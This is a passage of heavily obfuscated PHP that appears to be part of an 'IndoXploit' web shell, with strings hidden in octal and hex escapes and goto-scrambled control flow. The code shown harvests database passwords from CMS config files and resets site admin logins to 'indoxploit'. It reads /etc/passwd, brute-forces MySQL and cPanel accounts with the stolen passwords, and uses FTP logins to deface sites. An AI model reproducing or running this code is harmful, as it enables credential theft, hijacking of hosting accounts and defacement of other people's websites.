"\\114\\x6f\\147\\151\\x6e\\x20\\x3d\\x3e\\x20\\74\\141\\40\\x68\\162\\x65\\x66\\75\\x27{$target2}\\47\\40\\x74\\x61\\162\\x67\\145\\164\\75\\x27\\137\\142\\x6c\\x61\\x6e\\x6b\\47\\76\\74\\165\\76{$target2}\\x3c\\57\\x75\\x3e\\74\\57\\x61\\x3e\\40\\133\\x20\\74\\x66\\157\\x6e\\164\\40\\143\\157\\x6c\\x6f\\162\\x3d\\162\\145\\x64\\x3e\\x67\\x61\\164\\x61\\x75\\x20\\141\\144\\x6d\\x69\\156\\x20\\154\\x6f\\x67\\x69\\156\\40\\x6e\\171\\141\\40\\144\\x69\\x6d\\141\\x6e\\141\\x20\\x3a\\x70\\74\\x2f\\146\\x6f\\156\\164\\x3e\\74\\142\\x72\\76"; } goto IZGnF; boUPa: $cek_login3 = file_get_contents("{$target2}\\57\\x61\\144\\x6d\\151\\156\\x77\\145\\142\\x2f"); goto YOcI7; YOcI7: $cek_login4 = file_get_contents("{$target2}\\57\\154\\157\\x6b\\157\\x6d\\145\\144\\151\\141\\57\\x61\\x64\\155\\151\\x6e\\x77\\x65\\x62\\x2f"); goto eMNKY; IZGnF: } goto vI6Jc; IgJaH: $url_target = "\\x4c\\x6f\\x67\\x69\\x6e\\x20\\x3d\\x3e\\40\\74\\x66\\157\\x6e\\164\\x20\\x63\\157\\x6c\\157\\162\\x3d\\162\\x65\\x64\\76\\145\\x72\\162\\157\\x72\\54\\x20\\147\\x61\\142\\x69\\163\\141\\x20\\141\\x6d\\142\\x69\\x6c\\x20\\x6e\\141\\155\\x61\\40\\144\\x6f\\x6d\\x61\\151\\x6e\\40\\156\\171\\141\\x61\\x3c\\x2f\\146\\157\\156\\164\\x3e\\74\\142\\x72\\x3e"; goto bxUyB; vI6Jc: } else { goto thBam; thBam: $cek_login = file_get_contents("{$target}\\x2f\\x61\\x64\\x6d\\151\\x6e\\x77\\x65\\142\\x2f"); goto pE3S0; cNVay: if (preg_match("\\x2f\\x43\\115\\x53\\x20\\x4c\\x6f\\x6b\\157\\155\\x65\\144\\x69\\141\\x7c\\x41\\144\\155\\151\\x6e\\151\\x73\\x74\\x72\\x61\\164\\157\\162\\57", $cek_login)) { $url_target = "\\114\\157\\x67\\x69\\x6e\\x20\\75\\76\\40\\x3c\\141\\x20\\x68\\x72\\x65\\x66\\x3d\\47{$target}\\x2f\\x61\\144\\155\\151\\156\\167\\145\\x62\\x27\\x20\\164\\x61\\162\\147\\x65\\164\\x3d\\x27\\137\\142\\x6c\\x61\\156\\x6b\\x27\\76\\x3c\\165\\76{$target}\\x2f\\x61\\144\\x6d\\151\\x6e\\167\\145\\x62\\x3c\\57\\x75\\76\\74\\x2f\\141\\76\\74\\142\\162\\x3e"; } elseif (preg_match("\\x2f\\103\\115\\x53\\x20\\x4c\\x6f\\x6b\\157\\155\\x65\\x64\\151\\141\\174\\x4c\\157\\153\\x6f\\x6d\\x65\\x64\\x69\\x61\\57", $cek_login2)) { $url_target = "\\x4c\\x6f\\147\\x69\\156\\x20\\75\\76\\40\\x3c\\x61\\40\\150\\162\\145\\x66\\x3d\\47{$target}\\57\\x6c\\157\\x6b\\157\\x6d\\145\\x64\\151\\x61\\57\\x61\\x64\\x6d\\x69\\x6e\\167\\x65\\142\\x27\\40\\164\\x61\\x72\\x67\\x65\\164\\75\\47\\x5f\\x62\\154\\x61\\x6e\\153\\x27\\x3e\\74\\x75\\x3e{$target}\\x2f\\154\\157\\153\\x6f\\x6d\\x65\\144\\x69\\x61\\x2f\\x61\\144\\155\\x69\\x6e\\x77\\x65\\x62\\74\\x2f\\165\\76\\x3c\\57\\x61\\x3e\\x3c\\x62\\x72\\x3e"; } else { $url_target = "\\114\\157\\147\\151\\156\\x20\\x3d\\x3e\\x20\\x3c\\141\\40\\150\\162\\145\\146\\75\\47{$target}\\47\\40\\164\\x61\\162\\x67\\145\\x74\\x3d\\x27\\x5f\\142\\154\\141\\156\\x6b\\x27\\76\\74\\165\\76{$target}\\74\\x2f\\x75\\76\\74\\57\\x61\\x3e\\40\\x5b\\40\\x3c\\146\\x6f\\156\\164\\x20\\143\\x6f\\x6c\\157\\162\\75\\x72\\x65\\144\\x3e\\x67\\x61\\x74\\141\\x75\\40\\x61\\144\\155\\151\\156\\x20\\x6c\\x6f\\x67\\151\\x6e\\40\\x6e\\x79\\141\\40\\144\\x69\\155\\141\\156\\x61\\x20\\72\\160\\74\\57\\146\\x6f\\x6e\\164\\76\\74\\142\\x72\\x3e"; } goto HR3ls; pE3S0: $cek_login2 = file_get_contents("{$target}\\57\\154\\157\\x6b\\x6f\\x6d\\145\\x64\\x69\\x61\\57\\141\\144\\155\\151\\x6e\\167\\145\\x62\\57"); goto cNVay; HR3ls: } goto TaCB1; FDcFC: $option = "\\151\\144\\x65\\x6e\\x74\\x69\\x74\\141\\163"; goto bPpqf; n4R3O: if (preg_match("\\x2f\\145\\162\\162\\x6f\\x72\\54\\40\\147\\141\\142\\151\\x73\\x61\\x20\\x61\\155\\142\\151\\x6c\\40\\x6e\\141\\x6d\\x61\\40\\144\\157\\x6d\\x61\\151\\x6e\\x20\\x6e\\x79\\141\\57", $url_target)) { echo $url_target2; } else { echo $url_target; } goto Zw_iX; Otdhp: $dbname = ambilkata($config, "\\x64\\x61\\x74\\141\\x62\\141\\x73\\145\\x20\\75\\40\\42", "\\x22"); goto mfTG8; DKixA: $dbuser = ambilkata($config, "\\x75\\x73\\x65\\x72\\156\\x61\\x6d\\145\\40\\75\\40\\x22", "\\x22"); goto CvS5o; BG289: $target = $result[alamat_website]; goto rUXoR; qy_YD: $dbhost = ambilkata($config, "\\163\\145\\162\\166\\x65\\x72\\x20\\75\\40\\42", "\\42"); goto DKixA; Zw_iX: if (!$update or !$conn or !$db) { echo "\\x53\\x74\\141\\x74\\165\\163\\40\\x3d\\76\\x20\\74\\146\\157\\156\\x74\\x20\\x63\\x6f\\154\\x6f\\162\\x3d\\162\\x65\\x64\\76" . mysql_error() . "\\74\\x2f\\146\\x6f\\156\\x74\\76\\74\\x62\\162\\x3e\\74\\x62\\x72\\76"; } else { echo "\\x53\\x74\\141\\x74\\x75\\x73\\40\\x3d\\x3e\\40\\x3c\\146\\157\\x6e\\164\\40\\x63\\x6f\\x6c\\x6f\\162\\75\\43\\61\\70\\102\\x43\\71\\x43\\x3e\\x73\\165\\x6b\\x73\\x65\\x73\\x20\\145\\144\\x69\\x74\\x20\\165\\163\\145\\x72\\54\\40\\163\\x69\\x6c\\x61\\x6b\\141\\156\\40\\154\\x6f\\147\\151\\156\\x20\\x64\\145\\x6e\\x67\\141\\x6e\\40\\x75\\x73\\145\\x72\\x20\\x26\\x20\\x70\\141\\163\\x73\\40\\171\\141\\156\\147\\40\\x62\\x61\\162\\x75\\56\\74\\x2f\\x66\\x6f\\156\\x74\\x3e\\74\\x62\\162\\76\\x3c\\142\\x72\\76"; } goto IFV36; IFV36: mysql_close($conn); goto LPK3a; TaCB1: $update = mysql_query("\\x55\\x50\\x44\\101\\124\\x45\\x20{$prefix}\\x20\\123\\x45\\x54\\40\\165\\x73\\145\\162\\x6e\\x61\\x6d\\x65\\x3d\\47{$user_baru}\\47\\54\\160\\141\\163\\163\\167\\157\\162\\144\\75\\x27{$pass_baru}\\x27\\x20\\127\\x48\\x45\\x52\\105\\x20\\x6c\\145\\x76\\145\\x6c\\75\\47\\x61\\144\\x6d\\151\\x6e\\x27"); goto Icjoy; mfTG8: $prefix = "\\x75\\x73\\x65\\x72\\x73"; goto FDcFC; kuRuB: echo "\\103\\115\\123\\x20\\x3d\\76\\x20\\114\\157\\x6b\\157\\155\\x65\\x64\\x69\\141\\x3c\\x62\\162\\76"; goto n4R3O; YMSZH: $db = mysql_select_db($dbname); goto Borka; bPpqf: $conn = mysql_connect($dbhost, $dbuser, $dbpass); goto YMSZH; Icjoy: echo "\\103\\157\\x6e\\146\\x69\\147\\x20\\x3d\\x3e\\40" . $file_conf . "\\x3c\\x62\\x72\\x3e"; goto kuRuB; CvS5o: $dbpass = ambilkata($config, "\\160\\x61\\x73\\x73\\x77\\x6f\\x72\\144\\40\\x3d\\40\\42", "\\42"); goto Otdhp; Cmk43: $result = mysql_fetch_array($q); goto BG289; Borka: $q = mysql_query("\\123\\x45\\x4c\\x45\\x43\\124\\x20\\x2a\\x20\\x46\\x52\\117\\115\\x20{$option}\\40\\x4f\\122\\x44\\x45\\x52\\40\\102\\131\\40\\x69\\x64\\137\\x69\\x64\\x65\\x6e\\164\\151\\x74\\141\\x73\\x20\\101\\x53\\x43"); goto Cmk43; LPK3a: } goto nMp84; nMp84: } goto leBFT; leBFT: } } else { echo "\\74\\x63\\x65\\156\\x74\\145\\x72\\x3e\\xd\\xa\\11\\x9\\x3c\\150\\61\\76\\x41\\165\\x74\\157\\x20\\105\\x64\\151\\164\\40\\125\\x73\\145\\162\\40\\103\\x6f\\156\\146\\x69\\x67\\74\\x2f\\x68\\x31\\76\\15\\12\\11\\11\\x3c\\x66\\x6f\\162\\155\\40\\155\\x65\\164\\x68\\157\\144\\75\\47\\x70\\157\\x73\\164\\47\\76\\xd\\xa\\x9\\11\\104\\x49\\122\\40\\x43\\157\\x6e\\146\\151\\147\\x3a\\x20\\x3c\\142\\162\\x3e\\15\\12\\x9\\x9\\x3c\\x69\\x6e\\x70\\165\\164\\x20\\164\\171\\x70\\x65\\75\\x27\\164\\x65\\x78\\164\\47\\x20\\x73\\x69\\172\\x65\\75\\x27\\65\\x30\\47\\40\\x6e\\x61\\155\\x65\\x3d\\x27\\143\\157\\x6e\\146\\x69\\x67\\x5f\\x64\\x69\\x72\\47\\x20\\166\\141\\x6c\\165\\145\\x3d\\47{$dir}\\47\\x3e\\x3c\\x62\\162\\76\\x3c\\142\\x72\\x3e\\xd\\12\\11\\11\\x53\\145\\164\\40\\x55\\x73\\x65\\x72\\40\\46\\x20\\120\\x61\\x73\\x73\\x3a\\40\\x3c\\x62\\x72\\x3e\\xd\\xa\\x9\\11\\74\\151\\x6e\\x70\\165\\164\\40\\164\\171\\160\\145\\x3d\\x27\\x74\\145\\170\\x74\\47\\x20\\x6e\\141\\155\\145\\x3d\\47\\165\\163\\x65\\162\\137\\x62\\x61\\162\\165\\x27\\40\\166\\x61\\x6c\\x75\\x65\\x3d\\47\\x69\\x6e\\144\\x6f\\x78\\160\\x6c\\157\\151\\164\\x27\\40\\160\\154\\x61\\143\\145\\x68\\157\\x6c\\x64\\x65\\x72\\x3d\\47\\x75\\163\\x65\\162\\137\\x62\\141\\x72\\165\\47\\x3e\\74\\x62\\x72\\76\\xd\\12\\x9\\11\\x3c\\x69\\156\\160\\165\\164\\40\\x74\\171\\160\\145\\75\\x27\\x74\\145\\x78\\x74\\47\\x20\\x6e\\141\\155\\x65\\x3d\\x27\\160\\141\\x73\\163\\137\\x62\\141\\x72\\165\\x27\\40\\x76\\141\\x6c\\x75\\x65\\x3d\\x27\\151\\x6e\\144\\157\\170\\x70\\154\\x6f\\x69\\164\\x27\\40\\160\\x6c\\x61\\x63\\x65\\150\\157\\x6c\\x64\\145\\162\\75\\47\\x70\\x61\\163\\163\\x5f\\x62\\141\\162\\x75\\x27\\76\\x3c\\142\\x72\\76\\xd\\12\\11\\x9\\74\\151\\156\\x70\\165\\x74\\40\\164\\x79\\x70\\x65\\75\\47\\163\\x75\\142\\155\\151\\x74\\x27\\x20\\x6e\\141\\155\\x65\\75\\x27\\x68\\141\\152\\141\\162\\x27\\x20\\143\\154\\x61\\163\\163\\x3d\\47\\x62\\164\\x6e\\40\\142\\x74\\156\\55\\x73\\x75\\143\\x63\\x65\\x73\\x73\\x20\\142\\164\\x6e\\55\\163\\x6d\\47\\40\\x76\\x61\\x6c\\165\\x65\\x3d\\x27\\110\\x61\\x6a\\x61\\162\\x21\\x27\\x20\\163\\164\\x79\\154\\145\\x3d\\47\\x77\\x69\\x64\\164\\x68\\x3a\\x20\\x32\\61\\x35\\x70\\170\\x3b\\15\\12\\xd\\xa\\15\\12\\47\\x3e\\15\\xa\\11\\x9\\74\\57\\x66\\x6f\\162\\x6d\\x3e\\15\\xa\\11\\x9\\x3c\\x73\\160\\141\\x6e\\76\\116\\102\\72\\40\\124\\x6f\\157\\154\\x73\\x20\\151\\x6e\\151\\x20\\167\\x6f\\x72\\x6b\\x20\\x6a\\151\\153\\x61\\40\\x64\\151\\x6a\\x61\\x6c\\x61\\156\\x6b\\x61\\156\\x20\\144\\151\\40\\144\\141\\154\\x61\\155\\40\\x66\\157\\154\\144\\x65\\x72\\x20\\x3c\\x75\\x3e\\143\\157\\156\\146\\151\\x67\\x3c\\57\\165\\76\\40\\50\\40\\145\\170\\x3a\\x20\\57\\150\\x6f\\155\\x65\\x2f\\165\\x73\\145\\x72\\x2f\\x70\\165\\x62\\154\\x69\\143\\137\\150\\x74\\x6d\\x6c\\x2f\\x6e\\x61\\155\\141\\x5f\\146\\157\\154\\144\\145\\162\\137\\x63\\x6f\\x6e\\146\\151\\x67\\x20\\51\\74\\x2f\\163\\160\\141\\156\\76\\x3c\\x62\\162\\x3e\\15\\12\\x9\\x9"; } } elseif ($_GET["\\x64\\157"] == "\\143\\160\\x61\\x6e\\x65\\x6c") { if ($_POST["\\143\\162\\x61\\143\\153"]) { goto v1PrN; OTS5Y: if ($i == 0) { } else { echo "\\x3c\\x62\\x72\\76\\x73\\165\\153\\163\\x65\\x73\\40\\x6e\\171\\x6f\\x6c\\157\\x6e\\x67\\x20" . $i . "\\x20\\103\\160\\141\\156\\x65\\154\\x20\\142\\x79\\40\\74\\146\\157\\156\\164\\x20\\143\\x6f\\x6c\\157\\162\\75\\x23\\61\\70\\102\\103\\x39\\103\\x3e\\111\\156\\x64\\157\\x58\\160\\x6c\\x6f\\x69\\164\\56\\74\\x2f\\x66\\157\\x6e\\x74\\76"; } goto LrK9p; mjoLd: $passcp = explode("\\xd\\xa", $_POST["\\160\\x61\\x73\\x73\\137\\x63\\160"]); goto M1qeC; v1PrN: $usercp = explode("\\xd\\12", $_POST["\\165\\163\\x65\\162\\x5f\\x63\\x70"]); goto mjoLd; pLeIc: foreach ($usercp as $ucp) { foreach ($passcp as $pcp) { if (@mysql_connect("\\154\\x6f\\143\\141\\x6c\\150\\x6f\\163\\x74", $ucp, $pcp)) { if ($_SESSION[$ucp] && $_SESSION[$pcp]) { } else { goto FV6Td; FV6Td: $_SESSION[$ucp] = "\\x31"; goto HvWVx; K2ao3: if ($ucp == \'\' || $pcp == \'\') { } else { goto M6m36; M6m36: $i++; goto WIpSK; WIpSK: if (function_exists("\\x70\\x6f\\x73\\151\\170\\x5f\\x67\\x65\\x74\\160\\167\\165\\x69\\x64")) { $domain_cp = file_get_contents("\\57\\145\\164\\x63\\x2f\\x6e\\141\\x6d\\145\\144\\x2e\\143\\157\\156\\x66"); if ($domain_cp == \'\') { $dom = "\\74\\146\\x6f\\x6e\\x74\\40\\143\\157\\x6c\\157\\x72\\75\\x72\\145\\144\\x3e\\147\\141\\x62\\x69\\x73\\141\\40\\x61\\155\\142\\x69\\154\\x20\\x6e\\141\\x6d\\x61\\x20\\144\\157\\x6d\\x61\\x69\\156\\x20\\156\\x79\\x61\\74\\x2f\\146\\x6f\\x6e\\x74\\76"; } else { preg_match_all("\\x23\\x2f\\166\\x61\\x72\\x2f\\x6e\\141\\x6d\\x65\\x64\\57\\50\\x2e\\52\\77\\x29\\x2e\\144\\x62\\43", $domain_cp, $domains_cp); foreach ($domains_cp[1] as $dj) { goto Jxgeg; qP7YJ: if ($user_cp_url == $ucp) { $dom = "\\74\\141\\40\\x68\\162\\x65\\x66\\75\\x27\\x68\\164\\x74\\x70\\72\\57\\x2f{$dj}\\57\\x27\\x20\\164\\141\\162\\147\\x65\\x74\\75\\47\\137\\x62\\154\\141\\x6e\\153\\47\\x3e\\x3c\\x66\\157\\x6e\\x74\\40\\143\\x6f\\154\\157\\x72\\x3d\\43\\61\\x38\\102\\x43\\x39\\103\\x3e{$dj}\\74\\x2f\\146\\x6f\\156\\x74\\x3e\\x3c\\57\\141\\x3e"; break; } goto A4lLO; njx0R: $user_cp_url = $user_cp_url["\\156\\141\\x6d\\x65"]; goto qP7YJ; Jxgeg: $user_cp_url = posix_getpwuid(@fileowner("\\57\\145\\164\\143\\x2f\\x76\\141\\x6c\\151\\x61\\163\\145\\x73\\x2f{$dj}")); goto njx0R; A4lLO: } } } else { $dom = "\\x3c\\x66\\x6f\\156\\x74\\x20\\143\\x6f\\154\\157\\x72\\x3d\\x72\\x65\\x64\\76\\x66\\165\\x6e\\x63\\164\\151\\157\\156\\x20\\151\\163\\40\\x44\\x69\\x73\\x61\\142\\154\\x65\\40\\x62\\x79\\40\\163\\171\\x73\\164\\145\\x6d\\x3c\\x2f\\x66\\x6f\\x6e\\x74\\x3e"; } goto FUt9E; FUt9E: echo "\\165\\163\\145\\x72\\156\\141\\155\\145\\40\\x28\\74\\146\\157\\x6e\\164\\40\\143\\157\\154\\157\\x72\\x3d\\43\\61\\70\\102\\x43\\71\\103\\x3e{$ucp}\\x3c\\x2f\\146\\x6f\\x6e\\164\\76\\x29\\x20\\x70\\141\\x73\\163\\x77\\157\\x72\\x64\\40\\x28\\x3c\\x66\\x6f\\x6e\\164\\x20\\x63\\x6f\\x6c\\x6f\\x72\\x3d\\43\\x31\\x38\\102\\103\\x39\\x43\\x3e{$pcp}\\74\\x2f\\x66\\157\\156\\x74\\76\\x29\\x20\\144\\157\\155\\x61\\x69\\x6e\\x20\\x28{$dom}\\51\\x3c\\142\\162\\76"; goto h59RQ; h59RQ: } goto yy6bS; HvWVx: $_SESSION[$pcp] = "\\61"; goto K2ao3; yy6bS: } } } } goto OTS5Y; M1qeC: $i = 0; goto pLeIc; LrK9p: } else { goto y8juY; dToMJ: while ($getu = fgets($_usercp)) { if ($getu == \'\' || !$_usercp) { echo "\\74\\x66\\x6f\\x6e\\164\\x20\\143\\157\\154\\x6f\\x72\\x3d\\x72\\x65\\144\\76\\103\\141\\156\\47\\164\\40\\162\\145\\141\\144\\x20\\57\\x65\\x74\\143\\57\\x70\\x61\\x73\\163\\x77\\x64\\x3c\\57\\146\\x6f\\156\\x74\\76"; } else { preg_match_all("\\57\\x28\\x2e\\x2a\\77\\x29\\x3a\\x78\\72\\57", $getu, $u); foreach ($u[1] as $user_cp) { if (is_dir("\\x2f\\150\\x6f\\155\\x65\\57{$user_cp}\\x2f\\160\\165\\142\\x6c\\151\\x63\\137\\x68\\x74\\155\\x6c")) { echo "{$user_cp}\\xa"; } } } } goto Yd2IW; ALvxd: $cp_pass = cp_pass($dir); goto Dcr5t; xp03C: echo "\\x3c\\x2f\\164\\x65\\170\\164\\x61\\162\\x65\\141\\76\\x3c\\142\\x72\\x3e\\xd\\xa\\x9\\11\\74\\x69\\156\\x70\\165\\x74\\40\\x74\\171\\x70\\x65\\x3d\\x27\\163\\x75\\142\\155\\151\\x74\\47\\40\\156\\x61\\155\\145\\75\\47\\x63\\x72\\x61\\x63\\153\\47\\x20\\x63\\x6c\\x61\\163\\x73\\x3d\\47\\142\\x74\\156\\x20\\x62\\164\\x6e\\55\\x73\\165\\x63\\143\\145\\x73\\163\\x20\\x62\\x74\\156\\55\\163\\x6d\\47\\40\\x73\\164\\171\\154\\x65\\x3d\\47\\167\\x69\\x64\\164\\150\\x3a\\40\\x34\\65\\60\\160\\x78\\x3b\\15\\xa\\xd\\xa\\xd\\xa\\47\\40\\166\\141\\x6c\\x75\\145\\x3d\\x27\\103\\x72\\141\\x63\\153\\47\\76\\xd\\12\\11\\11\\x3c\\x2f\\x66\\157\\162\\x6d\\76\\xd\\xa\\11\\11\\x3c\\x73\\x70\\x61\\156\\x3e\\116\\102\\72\\x20\\x43\\x50\\141\\x6e\\x65\\154\\40\\x43\\162\\141\\x63\\x6b\\40\\151\\x6e\\151\\x20\\163\\x75\\x64\\141\\x68\\40\\141\\165\\x74\\157\\x20\\147\\145\\x74\\40\\160\\x61\\x73\\x73\\x77\\x6f\\162\\144\\40\\50\\x20\\160\\141\\x6b\\145\\40\\144\\142\\40\\160\\x61\\163\\163\\167\\157\\162\\x64\\40\\51\\x20\\155\\x61\\153\\141\\x20\\141\\x6b\\x61\\x6e\\x20\\167\\x6f\\162\\x6b\\x20\\x6a\\x69\\153\\x61\\40\\144\\x69\\152\\141\\x6c\\x61\\x6e\\x6b\\141\\x6e\\x20\\x64\\x69\\x20\\144\\x61\\x6c\\x61\\155\\40\\146\\157\\154\\144\\145\\162\\x20\\x3c\\x75\\76\\x63\\157\\x6e\\x66\\x69\\x67\\74\\57\\x75\\76\\x20\\x28\\40\\x65\\170\\x3a\\40\\x2f\\x68\\x6f\\155\\145\\57\\x75\\163\\145\\x72\\57\\160\\165\\142\\x6c\\151\\x63\\137\\150\\x74\\155\\x6c\\x2f\\x6e\\x61\\x6d\\x61\\137\\x66\\157\\x6c\\x64\\145\\x72\\137\\x63\\x6f\\156\\146\\x69\\147\\40\\x29\\74\\57\\x73\\x70\\141\\x6e\\x3e\\x3c\\142\\162\\x3e\\74\\57\\x63\\145\\x6e\\x74\\145\\x72\\76"; goto ru5yX; Yd2IW: echo "\\74\\57\\164\\145\\x78\\164\\141\\162\\x65\\141\\x3e\\74\\x62\\x72\\76\\xd\\12\\x9\\11\\x50\\x41\\x53\\123\\x3a\\40\\74\\x62\\x72\\76\\xd\\xa\\11\\x9\\74\\x74\\145\\x78\\164\\x61\\x72\\x65\\141\\x20\\163\\x74\\x79\\154\\145\\x3d\\47\\167\\151\\144\\164\\x68\\x3a\\x20\\x34\\x35\\60\\160\\170\\x3b\\xd\\xa\\15\\12\\15\\12\\40\\x68\\145\\151\\x67\\x68\\x74\\x3a\\40\\62\\60\\x30\\x70\\x78\\73\\xd\\xa\\15\\xa\\xd\\xa\\47\\40\\x6e\\141\\155\\145\\x3d\\47\\160\\141\\x73\\163\\x5f\\143\\x70\\x27\\x3e"; goto faJgo; Dcr5t: echo $cp_pass; goto xp03C; DJreY: $_usercp = fopen("\\57\\x65\\x74\\143\\x2f\\160\\x61\\163\\x73\\167\\144", "\\x72"); goto dToMJ; y8juY: echo "\\x3c\\143\\145\\156\\164\\145\\x72\\x3e\\15\\12\\x9\\x9\\x3c\\146\\157\\162\\155\\x20\\155\\x65\\164\\x68\\x6f\\144\\x3d\\47\\x70\\x6f\\x73\\x74\\47\\76\\15\\12\\11\\11\\x55\\123\\x45\\122\\72\\x20\\74\\x62\\x72\\76\\xd\\12\\x9\\11\\x3c\\164\\145\\x78\\x74\\x61\\x72\\145\\x61\\x20\\163\\164\\x79\\154\\145\\75\\47\\x77\\151\\144\\164\\x68\\72\\x20\\x34\\x35\\x30\\x70\\170\\73\\xd\\12\\15\\12\\xd\\12\\x20\\x68\\145\\151\\x67\\x68\\164\\x3a\\x20\\61\\x35\\60\\160\\x78\\73\\xd\\12\\xd\\12\\xd\\12\\47\\40\\x6e\\141\\155\\145\\x3d\\47\\165\\163\\145\\162\\137\\x63\\x70\\47\\x3e"; goto DJreY; faJgo: function cp_pass($dir) { goto ElKQx; ElKQx: $pass = \'\'; goto WMFCU; MbIVh: echo $pass; goto r1ykH; FhQQj: foreach ($dira as $dirb) { goto Kj0qS; Kj0qS: if (!is_file("{$dir}\\57{$dirb}")) { continue; } goto YczSC; M8648: if (preg_match("\\x2f\\x57\\x6f\\x72\\x64\\x50\\162\\x65\\x73\\163\\57", $ambil)) { $pass .= ambilkata($ambil, "\\x44\\102\\x5f\\120\\x41\\123\\123\\127\\x4f\\x52\\104\\47\\54\\40\\47", "\\47") . "\\xa"; } elseif (preg_match("\\x2f\\112\\103\\157\\156\\x66\\x69\\147\\x7c\\152\\x6f\\157\\155\\154\\x61\\57", $ambil)) { $pass .= ambilkata($ambil, "\\160\\141\\x73\\x73\\167\\157\\162\\x64\\40\\75\\x20\\47", "\\x27") . "\\12"; } elseif (preg_match("\\57\\115\\141\\147\\145\\156\\x74\\x6f\\x7c\\115\\x61\\x67\\x65\\137\\103\\x6f\\x72\\145\\57", $ambil)) { $pass .= ambilkata($ambil, "\\x3c\\160\\141\\163\\163\\x77\\157\\162\\144\\76\\74\\41\\133\\x43\\x44\\x41\\124\\x41\\x5b", "\\x5d\\x5d\\76\\74\\57\\x70\\x61\\x73\\x73\\167\\x6f\\x72\\x64\\x3e") . "\\xa"; } elseif (preg_match("\\57\\160\\x61\\156\\147\\147\\x69\\x6c\\40\\x66\\165\\156\\147\\163\\x69\\x20\\x76\\141\\154\\151\\144\\x61\\163\\151\\40\\x78\\x73\\x73\\x20\\x64\\x61\\156\\40\\151\\156\\x6a\\145\\143\\164\\151\\157\\156\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\160\\x61\\x73\\163\\167\\x6f\\162\\144\\40\\x3d\\40\\42", "\\42") . "\\xa"; } elseif (preg_match("\\x2f\\110\\x54\\x54\\x50\\x5f\\123\\x45\\x52\\126\\105\\122\\x7c\\x48\\x54\\124\\x50\\137\\x43\\x41\\124\\101\\x4c\\117\\107\\x7c\\104\\111\\x52\\137\\x43\\117\\116\\106\\x49\\107\\174\\x44\\111\\x52\\137\\x53\\x59\\x53\\x54\\105\\x4d\\57", $ambil)) { $pass .= ambilkata($ambil, "\\47\\104\\x42\\137\\x50\\x41\\123\\123\\x57\\x4f\\122\\104\\x27\\x2c\\40\\x27", "\\47") . "\\xa"; } elseif (preg_match("\\57\\x5e\\133\\x63\\x6c\\x69\\145\\x6e\\164\\x5d\\x24\\x2f", $ambil)) { preg_match("\\x2f\\160\\x61\\163\\163\\167\\157\\162\\144\\x3d\\x28\\56\\52\\77\\51\\x2f", $ambil, $pass1); if (preg_match("\\57\\x22\\57", $pass1[1])) { $pass1[1] = str_replace("\\x22", \'\', $pass1[1]); $pass .= $pass1[1] . "\\xa"; } else { $pass .= $pass1[1] . "\\12"; } } elseif (preg_match("\\x2f\\x63\\143\\137\\x65\\x6e\\143\\162\\x79\\x70\\x74\\151\\x6f\\156\\x5f\\150\\141\\163\\x68\\x2f", $ambil)) { $pass .= ambilkata($ambil, "\\x64\\142\\x5f\\160\\141\\x73\\x73\\167\\x6f\\x72\\144\\40\\x3d\\40\\x27", "\\x27") . "\\12"; } goto n60Nt; YczSC: $ambil = file_get_contents("{$dir}\\x2f{$dirb}"); goto M8648; n60Nt: } goto MbIVh; WMFCU: $dira = scandir($dir); goto FhQQj; r1ykH: } goto ALvxd; ru5yX: } } elseif ($_GET["\\x64\\x6f"] == "\\x63\\160\\x66\\164\\160\\x5f\\141\\x75\\164\\157") { if ($_POST["\\143\\x72\\141\\x63\\x6b"]) { goto GYZIS; O2e7B: foreach ($usercp as $ucp) { foreach ($passcp as $pcp) { if (@mysql_connect("\\x6c\\x6f\\143\\x61\\x6c\\x68\\x6f\\x73\\x74", $ucp, $pcp)) { if ($_SESSION[$ucp] && $_SESSION[$pcp]) { } else { goto sC2CX; CS06X: if ($ucp == \'\' || $pcp == \'\') { } else { goto tcBJW; AxhfU: $ftp_login = ftp_login($ftp_conn, $ucp, $pcp); goto zDqr2; zDqr2: if (!$ftp_login || !$ftp_conn) { echo "\\133\\53\\x5d\\x20\\x3c\\x66\\x6f\\156\\x74\\x20\\x63\\x6f\\154\\x6f\\x72\\x3d\\162\\145\\144\\x3e\\x4c\\157\\147\\151\\x6e\\40\\x47\\141\\x67\\x61\\154\\74\\57\\146\\157\\x6e\\164\\76\\74\\142\\162\\76\\74\\142\\x72\\x3e"; } else { goto UuUZl; jQ3EY: if ($deface) { goto ypXj1; soNo_: echo "\\133\\x2b\\x5d\\x20\\x3c\\146\\x6f\\156\\164\\x20\\x63\\157\\x6c\\x6f\\162\\x3d\\43\\61\\70\\x42\\103\\x39\\103\\76\\x44\\x65\\146\\x61\\x63\\145\\40\\123\\165\\153\\163\\x65\\x73\\74\\57\\146\\157\\x6e\\164\\76\\74\\x62\\162\\x3e"; goto ZyP3_; ZyP3_: if (function_exists("\\x70\\157\\x73\\151\\170\\137\\147\\145\\164\\x70\\167\\x75\\x69\\144")) { $domain_cp = file_get_contents("\\57\\145\\x74\\x63\\57\\x6e\\x61\\155\\145\\144\\56\\143\\157\\x6e\\x66"); if ($domain_cp == \'\') { echo "\\133\\x2b\\135\\40\\74\\x66\\x6f\\x6e\\x74\\40\\x63\\157\\x6c\\x6f\\162\\x3d\\162\\x65\\144\\x3e\\147\\x61\\142\\x69\\x73\\141\\40\\x61\\155\\x62\\151\\x6c\\40\\156\\141\\x6d\\x61\\40\\x64\\157\\155\\x61\\151\\156\\x20\\x6e\\x79\\x61\\x3c\\57\\x66\\157\\156\\x74\\76\\74\\x62\\x72\\76\\74\\142\\162\\x3e"; } else { preg_match_all("\\x23\\57\\166\\141\\x72\\x2f\\x6e\\x61\\155\\145\\144\\x2f\\x28\\56\\x2a\\77\\x29\\56\\x64\\142\\x23", $domain_cp, $domains_cp); foreach ($domains_cp[1] as $dj) { goto ZmuzM; blpG4: $user_cp_url = $user_cp_url["\\x6e\\x61\\x6d\\145"]; goto dZ5Yp; dZ5Yp: if ($user_cp_url == $ucp) { echo "\\133\\53\\135\\x20\\74\\x61\\x20\\x68\\x72\\x65\\146\\x3d\\47\\150\\164\\164\\160\\72\\57\\57{$dj}\\57{$fi}\\x27\\40\\x74\\141\\x72\\147\\145\\164\\x3d\\47\\137\\142\\x6c\\141\\156\\153\\47\\76\\150\\x74\\x74\\160\\72\\57\\57{$dj}\\57{$fi}\\x3c\\x2f\\141\\x3e\\x3c\\x62\\162\\x3e\\74\\142\\162\\x3e"; break; } goto hM3S8; ZmuzM: $user_cp_url = posix_getpwuid(@fileowner("\\x2f\\x65\\164\\143\\57\\x76\\141\\154\\151\\141\\163\\145\\x73\\57{$dj}")); goto blpG4; 